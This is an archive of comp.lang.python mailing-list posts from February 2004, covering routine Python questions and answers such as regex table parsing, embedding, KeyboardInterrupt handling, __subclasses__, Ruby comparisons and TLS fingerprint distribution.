same pipe?
NotW> os.pipe() returns reader and writer descriptors but how do I export
one of the ends to another process?
NotW> Note: popen() is not good for me since the new process is left without
tty input and output. 

I honestly don't know if this is what you're after,
 but it might be worth investigating.

http://starship.python.net/crew/tmick/#process

TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star Internet. The
service is powered by MessageLabs. For more information on a proactive
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From spam.buster at web.de  Wed Feb  4 06:25:41 2004
From: spam.buster at web.de (Lars Behrens)
Date: Wed, 04 Feb 2004 12:25:41 +0100
Subject: What's the matter with pydoc.org?
In-Reply-To: <mailman.1189.1075891253.12720.python-list@python.org>
References: <bvo98e$tqnei$1@ID-95936.news.uni-berlin.de>	<bvoa2a$u5pp0$1@ID-111250.news.uni-berlin.de>	<bvobds$utrr2$1@ID-95936.news.uni-berlin.de>
	<mailman.1189.1075891253.12720.python-list@python.org>
Message-ID: <bvqkrf$v2frc$1@ID-95936.news.uni-berlin.de>

Paul Prescod wrote:

  > It is probably a server misconfiguration. Ka-Ping Yee is the 
inventor of
> Python's pydoc and has run a server for it. Either he accidentally 
> copied the wrong index.html to the wrong virtual server or he decided he 
> couldn't afford the bandwidth anymore.

I wrote a mail to the Webmaster, he told me he would have a look.

Cheerz Lars


From tjreedy at udel.edu  Fri Feb  6 20:46:03 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 6 Feb 2004 20:46:03 -0500
Subject: Warnings killing my performance
References: <153fa67.0402060933.13840e8c@posting.google.com>
Message-ID: <c01g0r$3qj$1@sea.gmane.org>


"Kylotan" <kylotan at hotmail.com> wrote in message
news:153fa67.0402060933.13840e8c at posting.google.com...
> And my second is, is there a quick way of taking an integer, shifting
> it left 13 bits (or multiplying by 2 ** 13, whatever), discarding any
> excess bits, and which won't cause a warning?

Have you tried masking off the upper 13 bits *before* the shift?  So that
there is no overflow to warn about?  Does this make any sense?

TJR






From bokr at oz.net  Sat Feb  7 16:56:23 2004
From: bokr at oz.net (Bengt Richter)
Date: 7 Feb 2004 21:56:23 GMT
Subject: splitting tables
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>
Message-ID: <c03mu7$t1h$0@216.39.172.122>

On Sat, 7 Feb 2004 20:08:50 +0000 (UTC), robsom <no.mail at no.mail.it> wrote:

>
>Hi, I have a problem with a small python program I'm trying to write
>and I hope somebody may help me. I'm working on tables of this kind:
>
>CGA 1988 06 21 13 48 G500-050 D   509.62 J.. R1 1993 01 28 00 00 880006
>CGA 1988 06 21 14 04 G500-051 D   550.62 J.. R1 1993 01 28 00 00 880007
>
>I have to read each line of the table and put it into comma-separated
>lists like these for later manipulation:
>
>CGA,1988,06,21,13,48,G500-050,D,509.62,J..,R1,1993,01,28,00,00,880006
>CGA,1988,06,21,14,04,G500-051,D,550.62,J..,R1,1993,01,28,00,00,880007
>
>The 'split' function works pretty well, except when there is an error in
>the original data table. For example if an element is missin in a line,
>like this:
>
>CGA 1990 08 15 13 16 G500-105 D   524.45 J.. R1 1993 01 29 00 00 900069
>CGA 1990 08 16 01 22          D   508.06 J.. R1 1993 01 27 00 00 900065
>
>This error happens quite often in my dataset and the tables are too
>large to check for it manually. In this case what I get splitting the
>line string is of course this:
>
>CGA,1990,08,15,13,16,G500-105,D,524.45,J..,R1,1993,01,29,00,00,900069
>CGA,1990,08,16,01,22,D,508.06,J..,R1,1993,01,27,00,00,900065
>
>And when the program tries to work on the second list it stops (of course!).
>Is there any way to avoid this problem? This kind of error happens quite
>often in my dataset and the tables are usually too large to check for it
>manually. Thanks a lot for any suggestions.
>
 >>> s = """\
 ... CGA 1990 08 15 13 16 G500-105 D   524.45 J.. R1 1993 01 29 00 00 900069
 ... CGA 1990 08 16 01 22          D   508.06 J.. R1 1993 01 27 00 00 900065
 ... """
 >>> import re
 >>> rxo = re.compile(
 ...     '(...) (....) (..) (..) (..) (..) (........) (.)   '
 ...     '(......) (...) (..) (....) (..) (..) (..) (..) (......)'
 ... )
 >>> import csv
 >>> import sys
 >>> writer = csv.writer(sys.stdout)
 >>> for line in s.splitlines(): writer.writerow(*rxo.findall(line))
 ...
 CGA,1990,08,15,13,16,G500-105,D,524.45,J..,R1,1993,01,29,00,00,900069
 CGA,1990,08,16,01,22,        ,D,508.06,J..,R1,1993,01,27,00,00,900065

To write the csv lines to a file instead of sys.stdout, substitute (untested)
file('your_csv_output_file.csv') in place of sys.stdout in the above, and get your
lines from something like (note chopping off the trailing newline)

    for line in file('your_table_file'):
        line = line.rstrip('\n')

instead of

    for line in s.splitlines()

If you have possible short lines that create no match, you'll need to check for those
before unpacking (by using the prefixed *) into writer.writerow's arg list.

That's it for clp today ;-)

Regards,
Bengt Richter


From donn at drizzle.com  Sun Feb  1 13:18:58 2004
From: donn at drizzle.com (Donn Cave)
Date: Sun, 01 Feb 2004 18:18:58 -0000
Subject: Python vs. Io
References: <mailman.1089.1075613103.12720.python-list@python.org>
Message-ID: <1075659536.765710@yasure>

|> Dog barks //Io
|> Dog.barks() #Python

Another thought about that:  from the Python version, barks is
evidently a function.  Even if were a data attribute, I think
in classical usage it would be a "message", and given that a
class instance can implement its own attribute lookup, we may
as well say that data attributes are simply functions with no
extra parameters.

So, how odd that anyone would think of putting the function
AFTER the object.  Did this come from Forth or something?

In the above example it looks somewhat natural, but only
because of a declarative flavor that is hardly the rule in
OO programming.  Take wl.append(w), for example - we're so
used to this notation there's no point in asking if it would
make more sense written append.wl(w), but if we're looking
at a language that has taken a more lispish notation, I'd
suggest "append wl w" is far more consonant with normal
(not Forth) programming language notation.

That leads to an interesting generalization.  Take a common
thorn out of Python's hide: "join sep wl".  Is "join" a member
function of sep, or a plain function?  Well, who cares?  If
sep has a join function, it should apply in this case, but if
not, there's a generic.  In essence, all functions with 1 or
more arguments are "member" functions - either of the class
in which they're declared, or of the generic object class at
the top of the object hierarchy.

	Donn Cave, donn at drizzle.com


From anand at easi.soft.net  Tue Feb  3 04:10:27 2004
From: anand at easi.soft.net (Anand K Rayudu)
Date: Tue, 03 Feb 2004 14:40:27 +0530
Subject: embedding  python
References: <mailman.1130.1075732106.12720.python-list@python.org>
	<bvng7s$uljga$1@ID-99293.news.uni-berlin.de>
Message-ID: <401F6583.10506@easi.soft.net>



William Park wrote:

>Anand K Rayudu <anand at easi.soft.net> wrote:
>  
>
>>Hi All,
>>
>>I have one problem with embedding python into my application.
>>on HP-UX11 i created my application with linking libPython2.3.a
>>And with my product i supply all extension dlls [ .so] and with  
>>appropriate PYTHONHOME and PYTHONPATH set.
>>
>>Every thing is fine till  i import math,
>>When i import math [ For all extension modules ]
>> I get following error.
>>    import math
>>ImportError: dynamic module does not define init function (initmath)
>>
>>But if i run python in shell it works fine,
>>I am sure it is some thing to do with my application linking or some 
>>thing like that.
>>Could some one please suggest, how to solve  this problem.
>>
>>It works fine on all other platforms.
>>I call python using 'PyRunSimpleFile' Function.
>>
>>Thanks in advance.
>>
>>Anand
>>    
>>
>
>Did you compile with '-lm' ?
>Eg:
>    http://home.eol.ca/~parkw/index.html
>Hi William,
>

Thanks for the help, I compiled with -lm , It did not work!!
Probably i need to re-compile python with -DEMBED_PYTHON option as you 
suggested.
As the python error suggests, it could load the dynamic library, but 
could not find 'initmath' symbol in the library.
looks like '_PyImport_GetDynLoadFunc' function is failing.
And i also see following define. I am hoping this gives some info to 
solve the issue.

#if defined(__hp9000s300)
#define FUNCNAME_PATTERN "_init%.200s"
#else
#define FUNCNAME_PATTERN "init%.200s"
#endif





>  
>

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From miki.tebeka at zoran.com  Wed Feb 18 07:57:35 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 18 Feb 2004 04:57:35 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com> <40330A95.DF809EAA@alcyone.com>
Message-ID: <4f0a9fdb.0402180457.6c96853d@posting.google.com>

Hell Erik,

> 	do:
> 	    line = inputFile.readline()
> 	while line:
> 	    ...
Just do it with generators:
for line in iter(inputFile.readline, ""):
    ...

Miki


From mwh at python.net  Fri Feb 27 10:11:12 2004
From: mwh at python.net (Michael Hudson)
Date: Fri, 27 Feb 2004 15:11:12 GMT
Subject: What is the status of the __subclasses__ method?
References: <403f5959$0$41759$5fc3050@dreader2.news.tiscali.nl>
Message-ID: <m3hdxc8smn.fsf@pc150.maths.bris.ac.uk>

Ruud de Jong <ruud.de.jong at consunet.nl> writes:

> The question I have is: how safe / future proof / portable is the
> use of the __subclasses__ method that exists for new-style classes?

Hmm.  I think it's unlikely to go away.

> When I searched python.org for "__subclasses__" I found
> some more information. The __subclasses__ method appears
> to exist to allow modifications of the superclass to be
> percolated down to its children, mainly for speed reasons,
> if I understand Tim Peter's explanation correctly
> (http://mail.python.org/pipermail/python-list/2003-August/176360.html). 

Yep.

> I also found several warnings that the __subclasses__ method only
> returns classes that have been accessed previously (which would
> defeat my purpose)

Hum, you're being overly paranoid here.  Python defined types are
PyType_Ready-ed as soon as they are created.

> So again, my question. Is it safe to use the __subclasses__
> method for the purpose I described above? 

Well, I can't see into the future, but I'd feel secure using it.

I'm not sure what you describe is a very tasteful use of it though...

> Or would it be safer to revert to my home-grown metaclass solution?

You might want to keep it around, I guess...

Cheers,
mwh

-- 
  I would hereby duly point you at the website for the current pedal
  powered submarine world underwater speed record, except I've lost
  the URL.                                         -- Callas, cam.misc


From forshtat at hotmail.com  Mon Feb  2 05:48:49 2004
From: forshtat at hotmail.com (Ziv Forshtat)
Date: 2 Feb 2004 02:48:49 -0800
Subject: Simple web proxy - help needed
References: <c335e460.0401310918.49361638@posting.google.com>
	<87ad43kgn6.fsf@pobox.com>
Message-ID: <c335e460.0402020248.2576d886@posting.google.com>

jjl at pobox.com (John J. Lee) wrote in message news:<87ad43kgn6.fsf at pobox.com>...
> forshtat at hotmail.com (Ziv Forshtat) writes:
> [...]
> > Problem is - I don't have to much background in writing proxies, nor
> > in writing plugins.
> > Any help and suggestions would be welcome. 
> 
> Back again... just remembered I posted a tiny MSIE plugin skeleton to
> the ctypes list a while back.  That might actually be very close to
> what you need already.  Use the latest version of ctypes.
> 
> I originally meant not to post it actually, because of the obvious
> applications in malware, then forgot about my decision and posted it
> anyway.  Oh well, the black hats have plenty of evil code already, I'm
> sure.
> 
> 
> John

Hi John,
Thanks for your reply - it really seems like this could work for me,
but I was unable to locate the posting that you mention here.
Could you please be so kind as to send me a pointer?

Thanks,
           Ziv


From james at logicalprogression.net  Wed Feb  4 07:20:02 2004
From: james at logicalprogression.net (James Henderson)
Date: Wed, 4 Feb 2004 12:20:02 +0000
Subject: install Ctrl-C handler
In-Reply-To: <200402041215.31666.james@logicalprogression.net>
References: <bvqn4r$7ga$1@news.rz.uni-karlsruhe.de>
	<200402041215.31666.james@logicalprogression.net>
Message-ID: <200402041220.02553.james@logicalprogression.net>

On Wednesday 04 February 2004 12:15 pm, James Henderson wrote:
> On Wednesday 04 February 2004 12:04 pm, Uwe Mayer wrote:
> > Hi,
> >
> > can anybody tell me how you install something like a Ctrl-C handler in
> > Python, i.e. a routine that is called when ^C is pressed and that can do
> > cleanup work?
> >
> > Thanks
> > Uwe
>
> Maybe you require something more sophisticated but ctrl-C raises an
> exception
>
> that can be caught:
> >>> try:
>
> ...     while 1: pass
> ... except KeyboardInterrupt:
> ...     print 'Interrupted!'
> ...
> Interrupted!

Thinking about it, try-finally would also work:

>>> try:
...     while True: pass
... finally:
...     print 'cleaning up'
...
cleaning up
Traceback (most recent call last):
  File "<stdin>", line 2, in ?
KeyboardInterrupt


J.
-- 
James Henderson, Logical Progression Ltd.
http://www.logicalprogression.net/
http://sourceforge.net/projects/mailmanager/




From stephene at sjsoft.com  Fri Feb 27 07:46:17 2004
From: stephene at sjsoft.com (stephene at sjsoft.com)
Date: Fri, 27 Feb 2004 07:46:17 -0500
Subject: what is the ordering of an AST tree?
Message-ID: <184670-220042527124617909@M2W057.mail2web.com>

When one creates an AST tree using the compiler module, what order is the
tree created in?

In other words, are the ordering of the nodes in the tree the same as the
flow of the program?

Thanks
Stephen Emslie

--------------------------------------------------------------------
mail2web - Check your email from the web at
http://mail2web.com/ .





From gh at ghaering.de  Wed Feb 18 11:30:10 2004
From: gh at ghaering.de (=?ISO-8859-1?Q?Gerhard_H=E4ring?=)
Date: Wed, 18 Feb 2004 17:30:10 +0100
Subject: How do make a function that creates a sequence of n random
	numbers?
In-Reply-To: <8e3e8c6c.0402171124.1183350c@posting.google.com>
References: <8e3e8c6c.0402171124.1183350c@posting.google.com>
Message-ID: <40339312.2050701@ghaering.de>

shivermetimbers15 wrote:
> I'm new to Python, as you can tell, and I'm interested in how to do this.

Do you want to create your own random number generator, or do you just want to use 
an existing one?

If you want to use a good one, you can just use the one in the Python standard 
library in the module 'random'.

-- Gerhard



From usenet_chris at hedonism.cx  Wed Feb 25 13:51:21 2004
From: usenet_chris at hedonism.cx (Christian Vogel)
Date: Wed, 25 Feb 2004 19:51:21 +0100
Subject: Python/C: unsigned Py_BuildValue, PyInt_FromLong
Message-ID: <c1iqr9$1is69j$1@uni-berlin.de>

Hi comp.lang.python readers,

are there routines to create a Python integer from unsigned C-integers?

I only could find Py_BuildValue[1] and PyInt_FromLong[2] which both only use
signed c-integers. Is there another way I overlooked?

[1]: http://www.python.org/doc/2.3.3/api/arg-parsing.html
        ParseValue knows "k" for unsigned long, BuildValue doesn't.

[2]: http://www.python.org/doc/2.3.3/api/intObjects.html
        PyInt_FromLong only uses a signed integer.

        Chris


From tdelaney at avaya.com  Sun Feb  1 18:08:14 2004
From: tdelaney at avaya.com (Delaney, Timothy C (Timothy))
Date: Mon, 2 Feb 2004 10:08:14 +1100
Subject: Confused about a list.sort()
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE011DB59E@au3010avexu1.global.avaya.com>

> From: James Kew
> 
> ISTR discussion on python-dev about adding a sorted() method to list,
> returning a sorted copy of the list -- did that ever reach a 
> conclusion?

Indeed it did - `list` grew a `sorted` classmethod, but it's now been changed such that `sorted` will be a builtin in 2.4.

`list.sort` and `sorted` also grew a `key` keyword parameter which takes a function to generate the sort keys.

Oh - and `list.sort` has been pronounced to be a stable sort for now and evermore as of Python 2.3.

Tim Delaney



From newsgroups at jhrothjr.com  Sat Feb 21 20:15:11 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Sat, 21 Feb 2004 20:15:11 -0500
Subject: How to overide "for line in file:"
References: <tisf301qf76c8lh0jkq9086gpqoep1bb1u@4ax.com>
Message-ID: <103g0mhgmfups16@news.supernews.com>


<David Morgenthaler> wrote in message
news:tisf301qf76c8lh0jkq9086gpqoep1bb1u at 4ax.com...
> How does one overide the iterator implied by the construct "for line
> in file:"?
>
> For example, suppose I have a file containing row,col pairs on each
> line, and I wish to write a subclass of file that will transform these
> to x,y coordinates using an affine transform. I'd like it to look
> something like this (but this clearly doesn't work):
>
> class myFile(file):
>     def __init__(self,name,affine):
>         self.affine = affine
>         file.__init__(name)
>
>     def next(self):
>         for line in file.__iter__(self):
>             r,c = ",".split(line[:-1]
>             yield self.affine(r,c)
>
>
> Thanks in advance!

I'm not sure what you're trying to do, but you may be
looking for the readline() method.

John Roth

> dave




From healthed at hotmail.com  Sun Feb 22 15:09:17 2004
From: healthed at hotmail.com (weasel)
Date: Sun, 22 Feb 2004 20:09:17 GMT
Subject: Conversion code not working properly
References: <3uuh305tv9o3g5dpenoqaghtbkiuihdpua@4ax.com>
Message-ID: <d23i30l1bebealodg47eu5b01pp5a9lkg4@4ax.com>

I just figured it out. It has to do with range. The conversion is
working, but the range functionality is screwing it all up. Back to
the drawing board!


From aahz at pythoncraft.com  Wed Feb  4 08:38:41 2004
From: aahz at pythoncraft.com (Aahz)
Date: 4 Feb 2004 08:38:41 -0500
Subject: **kw,**args what are these things ?
References: <mailman.1187.1075888777.12720.python-list@python.org>
Message-ID: <bvqsl1$me3$1@panix1.panix.com>

In article <mailman.1187.1075888777.12720.python-list at python.org>,
 <fowlertrainer at anonym.hu> wrote:
>
>I see these things in many sources, under wxPy:
>
>def __init__(self,params,**kw,**args)
>
>What are these parameters, and what's the meaning of the double * ?

First of all, when asking questions like this, please make sure to
cut'n'paste the text; I'm certain that isn't the code you were reading.

Second, read the docs.  Start with the tutorial section on functions:
http://www.python.org/doc/current/tut/node6.html
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From joe at notcharles.ca  Wed Feb 25 00:28:14 2004
From: joe at notcharles.ca (Joe Mason)
Date: Wed, 25 Feb 2004 05:28:14 GMT
Subject: How does Ruby compare to Python?? How good is DESIGN of Ruby
	compared to Python?
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>
Message-ID: <slrnc3ob0q.i6n.joe@gate.notcharles.ca>

In article <c1h1sb$1it26i$1 at ID-169208.news.uni-berlin.de>, Greg Ewing (using news.cis.dfn.de) wrote:
> * Ruby makes heavy use of passing code blocks around as
> parameters, to implement iteration constructs and so forth.
> Ruby is very much like Smalltalk in this respect. Python
> uses a different mechanism (the iteration protocol) to achieve
> these things. Python's way is both more and less powerful
> than Ruby's. Ruby makes it easy to define new control
> structures which look just like the built-in ones, which
> you can't do with Python. On the other hand, Python has
> its amazingly powerful generators, for which there is no
> direct equivalent in Ruby.

Not built in, but you can implement them in Ruby using continuations
pretty easily.  See http://www.rubygarden.org/ruby?RubyFromPython for an
example.  The only problem I can see is maybe performance issues, but
the performance characteristics of the languages are pretty different
apart from that, I'd assume.

> * In Python, functions are first-class, and
> methods are implemented in terms of functions. In Ruby,
> methods are the fundamental concept, and there are no
> first-class functions. The result is that Python lets
> you obtain a bound method from an object and use it like
> any other function. You can't do that in Ruby. You can
> get a method object in Ruby, but you can't call it using
> normal calling syntax.

I don't see the distinction.  "normal calling syntax" in ruby involves
an object, so "unbound function" isn't a meaningful concept.  I mean, if
you get a method the begins with the self parameter, you still need an
object to call it, right?  Even if you're calling it as "foo(obj,
params)" instead of "obj.foo(params)".  I don't see what the ability to
use the other syntax gets you, except the ability to pass functions
around independantly of objects, which I'm pretty sure you can do with
methods in Ruby anyway.

Joe


From bignose-hates-spam at and-benfinney-does-too.id.au  Fri Feb  6 16:35:48 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 7 Feb 2004 08:25:48 +1050
Subject: Python can't divide??!?!
References: <mailman.1252.1076003166.12720.python-list@python.org>
Message-ID: <slrnc283b2.o2u.bignose-hates-spam@iris.polar.local>

On Thu, 5 Feb 2004 17:44:55 -0000, Dan Williams wrote:
> Python cannot divide. Period.

Your binary computer can't accurately represent decimal fractions.
Python doesn't try to hide this from you.

    <http://www.python.org/doc/tut/node15.html>

-- 
 \     "A celibate clergy is an especially good idea, because it tends |
  `\     to suppress any hereditary propensity toward fanaticism."  -- |
_o__)                                                       Carl Sagan |
Ben Finney <http://bignose.squidly.org/>


From peter at engcorp.com  Wed Feb 18 11:46:55 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 18 Feb 2004 11:46:55 -0500
Subject: How do make a function that creates a sequence of n random
	numbers?
References: <8e3e8c6c.0402171124.1183350c@posting.google.com>
	<40327353.427A67CE@engcorp.com>
	<adednY9lv5PLR6_dRVn-vw@comcast.com>
Message-ID: <403396FF.AD052420@engcorp.com>

DH wrote:
> 
> Peter Hansen wrote:
> 
> > If you need more help, I suggest you post the code you have written so
> > far to this mailing list/newsgroup and ask for feedback.  You'll learn
> > the most, the fastest, this way, and will demonstrate your own willingness
> > to do some of the work.
> 
> Maybe the question was asking for help getting started.

The answer I provided gave him ample help, if he was interested in
doing it himself.  If he just wanted the answer on a silver platter,
other reponses were provided which "helped" in that way... his choice.

-Peter


From __peter__ at web.de  Thu Feb 19 04:31:05 2004
From: __peter__ at web.de (Peter Otten)
Date: Thu, 19 Feb 2004 10:31:05 +0100
Subject: exec - return value of expression
References: <87hdxuimqo.fsf@gmx.net>
Message-ID: <c11vop$4ek$01$1@news.t-online.com>

Christoph Groth wrote:

> Currently, if the user wants to print some formula, say, he has to
> execute a function called `tex' which packages the TeX-representation
> of the formula in a way understood by texmacs, like this:
> 
>>>> f = create_some_formula()
>>>> tex(f)   # Prettyprint the formula
> 
> But typing tex( ) all the time is a bit annoying, I would like that
> the following works inside my texmacs-plugin.
> 
>>>> f = create_some_formula()
>>>> f  # Prettyprint the formula

Have a look at sys.displayhook:

>>> import sys, __builtin__
>>> def myhook(a):
...     if a is not None:
...             __builtin__._ = a
...             sys.stdout.write("python proudly presents: %s\n" % a)
...
>>> sys.displayhook = myhook
>>> 1
python proudly presents: 1
>>>

Peter



From richardshea at fastmail.fm  Mon Feb  2 22:07:37 2004
From: richardshea at fastmail.fm (Richard Shea)
Date: 2 Feb 2004 19:07:37 -0800
Subject: internationalisation/gettext - any sample (.MO) data available ?
Message-ID: <282f826a.0402021907.2266c6b4@posting.google.com>

Hi - I'd like to try applying internationalisation techniques to get
an idea of how much extra work is involved.

As a first step I'm looking at the class based gettext. I just
wondered if anyone knew of some ready made .MO files I could use - I
don't care what the subject matter is I just want something realistic
to work with (I have tried googling but a search string with 'sample'
and 'file' pulls up an awful lot of unrelated stuff).

thanks

richard shea.


From ville at spammers.com  Sun Feb 29 12:56:18 2004
From: ville at spammers.com (Ville Vainio)
Date: 29 Feb 2004 19:56:18 +0200
Subject: Speed Comparison Perl Python & C
References: <c1t89m$a3u$1@solaris.cc.vt.edu>
Message-ID: <du7y8qlahx9.fsf@lehtori.cc.tut.fi>

>>>>> "Bart" == Bart Nessux <bart_nessux at hotmail.com> writes:

    Bart> fair test. I thought C would do this much faster than it
    Bart> did. Any ideas?

Your program prints stuff at every iteration, so it mostly measures I/O
performance. Drop out the print, or print every 1000th item, and you
will start seeing a significant differences...

This is also a textbook example of a case where using C doesn't make
much sense performace-wise. Many seem to believe that using C/C++ also
magically speeds up I/O, and choose it over alternatives because their
network server "needs to be fast".

-- 
Ville Vainio   http://tinyurl.com/2prnb


From aahz at pythoncraft.com  Sun Feb 15 14:31:51 2004
From: aahz at pythoncraft.com (Aahz)
Date: 15 Feb 2004 14:31:51 -0500
Subject: Netscan and Python
References: <mailman.35.1076810936.31398.python-list@python.org>
Message-ID: <c0ohf7$iv0$1@panix2.panix.com>

In article <mailman.35.1076810936.31398.python-list at python.org>,
Paul Prescod  <paul at prescod.net> wrote:
>
>According to Netscan,
>comp.lang.python was the 19th most popular Usenet newsgroup in 1999

Based on the rest of the post, I'm assuming you meant to say
"comp.lang.*" instead of "Usenet".  There's also the question of whether
popularity is best measured by number of posts -- I'm sure the
readership of rec.humor.funny still far outweighs comp.lang.python.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From josecarlos at siadv.com  Sun Feb  1 16:59:26 2004
From: josecarlos at siadv.com (José Carlos)
Date: Sun, 1 Feb 2004 22:59:26 +0100
Subject: Threading question
Message-ID: <bvjsrs$in1$1@nsnmrro2-gest.nuria.telefonica-data.net>

Hi.

How can i do for create a list which it obtain the name or number of client
when it is  trying to connect with server. i want obtain this list for use
it with threading

Thank you.

Regards.
Jose.




From fumanchu at amor.org  Thu Feb 19 13:37:20 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Thu, 19 Feb 2004 10:37:20 -0800
Subject: Newbie CGI confusion...
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D6B@opus.amorhq.net>

Fred Mailhot wrote:
> I'm trying to write a script that will mail some data from a 
> web-based form
> to me, using the "mail" command (under Linux). The following 
> illustrates the
> crux of what I'm doing:
> cmdstring = 'mail -c %s -s "%s" -r %s %s' % (ccaddr, subject, usrmail,
> toaddr)

You might want to try the SMTP module in the Library (which should be
both more cross-platform and higher-level = easier to understand). It
will certainly save you the command-line-quoting headaches:

import smptlib

server = smtplib.SMTP(serverName)
response = server.sendmail(fromaddr, toaddrs, msg)
server.quit()


HTH

FuManChu



From peter at engcorp.com  Mon Feb  9 17:20:10 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 09 Feb 2004 17:20:10 -0500
Subject: Play Multiple Sound (for windows)
References: <Xns948AA1ABC8129974331cvmqcca@207.35.177.135>
Message-ID: <4028079A.AA8C67CB@engcorp.com>

Askari wrote:
> 
>    I search how do for play more that one sound in same time with Python.
> Actually, I use the module "winsound" and I can play/stop a sound but can't
> play more that one sound in same time. :-(

I would try www.pygame.org if I were in the same position...  chances
are it can do what you need, but if it can't you should provide a little
more detail about your requirements.

-Peter


From jhj022 at student.uit.no  Fri Feb  6 06:01:48 2004
From: jhj022 at student.uit.no (Jan H)
Date: 6 Feb 2004 03:01:48 -0800
Subject: Problems with win32com and IE, WindowState
Message-ID: <4a7434de.0402060301.1f66cfa@posting.google.com>

Background: I am a newbe trying to store the state of an Internet
Explorer Application with the use of win32.com and python. I use
python 2.3.

Problem 1: The state is accessible, but not the hole state. I am
missing the possibility to retrieve if the IE is minimized or not,
also known as WindowState for word application. This could be found by
detecting that the value of top and left is -32000, but will not help
me in restoring the value to its old value.  I wish to find the
WindowState for the IE object and if the object is minimized I would
like to get the Top and Left position of the object if restored.

Code:
import win32com.client
ie=win32com.client.Dispatch('InternetExplorer.Application')
ie.Visible=1

Problem 2: Would like to find out if the favourites toolbar is open or
not. I can not find out how to retrieve this property.

Thanks in advance.


From wweston at att.net  Wed Feb  4 09:14:53 2004
From: wweston at att.net (wes weston)
Date: Wed, 04 Feb 2004 14:14:53 GMT
Subject: mysqldb
In-Reply-To: <f046efac.0402032330.6c90ca4b@posting.google.com>
References: <f046efac.0402032330.6c90ca4b@posting.google.com>
Message-ID: <x77Ub.174240$6y6.3391437@bgtnsc05-news.ops.worldnet.att.net>

ketulp,
    Can you default the connection to None.

def foo(x,y,z,connection=None):
	if not connection:
		connection = OpenMyConnection()
	.....

You could then use foo with or without an open
connection.

wes

ketulp_baroda at yahoo.com wrote:
> Hi
> I am using MySQLdb. I want to know how can I check whether a
> connection is open or not.If it is open I want to use the existing
> connection else create a new connection by
> db=MySQLdb.connection(.........)



From trevp at trevp.net  Sat Feb 28 13:09:30 2004
From: trevp at trevp.net (Trevor Perrin)
Date: 28 Feb 2004 10:09:30 -0800
Subject: Pure Python HTTPS Server
References: <c1lq2u$t13$1@news-int2.gatech.edu>
	<7xd6814gzi.fsf@ruckus.brouhaha.com>
	<2004022617475016807%bob@redivicom>
	<7x7jy9igvg.fsf@ruckus.brouhaha.com>
	<47e891f1.0402261830.7e803327@posting.google.com>
	<7x1xogvr35.fsf@ruckus.brouhaha.com>
	<47e891f1.0402280120.675e2987@posting.google.com>
	<7xhdxbsg10.fsf@ruckus.brouhaha.com>
Message-ID: <47e891f1.0402281009.766ef484@posting.google.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote in message news:<7xhdxbsg10.fsf at ruckus.brouhaha.com>...
> trevp at trevp.net (Trevor Perrin) writes:
> > > But it means you need a separate fingerprint for each person you talk
> > > to.
> > 
> > You need to *get* the fingerprint of each person you talk to.  But if
> > you're calling people you need to get their phone number, if you're
> > emailing them you need to get their email address, etc..  acquiring
> > fingerprints isn't much different from acquiring those things, and
> > it's a hundred times easier than doing anything with certificates, IMHO.
> 
> Where do you get the fingerprint?

Through the same channel that you used to acquire the email address.

Put it this way: If you acquire someone's address through a secure
channel, then you can use that same channel for fingerprint
distribution.  If you acquired their address through an *insecure*
channel, then there's no point in using a PKI-provided (address,
public key) binding, since the address could be bogus.

So PKI (address, key) bindings are strictly less secure than simply
distributing fingerprints through the same channels used to distribute
addresses (DNS, LDAP, and paper directories, URLs, business cards,
pen-and-paper, etc.).

Here's some good writings about this approach:

http://trevp.net/cryptoID/cryptoID.html
http://www.waterken.com/dev/YURL/
http://zooko.com/distnames.html


> > Well, fingerprints are public, not secret data.  So they're much
> > easier to distribute, and N people only need N fingerprints, whereas
> > they'd need N-squared shared keys.
> 
> Yes, but each of the N people needs to authenticate N-1 of those
> fingerprints somehow, so that's O(N**2) authentication operations.

But you need to do O(N**2) address exchanges in any case, so you can
just piggyback key distribution on those.


> 
> > > Yeah, that's what I mean about it being a lot of work to do the full
> > > stack.  It's great that you've provided this starting point though.
> > 
> > Thanks.  I don't agree that the "full stack" of PKIX protocols is
> > worth implementing or using, but we can agree to disagree on that..
> 
> I don't know about going berserk writing ASN1 parsers and that whole
> bit, but there really should be some way to do basic cert checking.

I'll try to provide an interface for cryptlib and openssl's cert
checking.  So if you have those libraries you can use it, but it won't
be in pure python.


Trevor


From gmuller at worldonline.nl  Tue Feb 17 14:24:58 2004
From: gmuller at worldonline.nl (GerritM)
Date: Tue, 17 Feb 2004 20:24:58 +0100
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>
	<4030D457.D193F14C@engcorp.com>
	<36wfzdajavi.fsf@goya03.ti.uni-mannheim.de>
	<xqxptce16g3.fsf@cola2.ca.boeing.com>
	<40323814.3129EA4B@engcorp.com>
Message-ID: <40326a09$0$41759$5fc3050@dreader2.news.tiscali.nl>

"Peter Hansen" <peter at engcorp.com> schreef in bericht
news:40323814.3129EA4B at engcorp.com...
> My background is (roughly in order) APL, FORTRAN, BASIC, Assembly, C,
> university :-), Pascal, C++, Object Pascal, Java, LabVIEW, and Python
> (with a dozen others I forget) and I'm telling you Python is a really
> great language.  I've also dumped my previously favourite languages
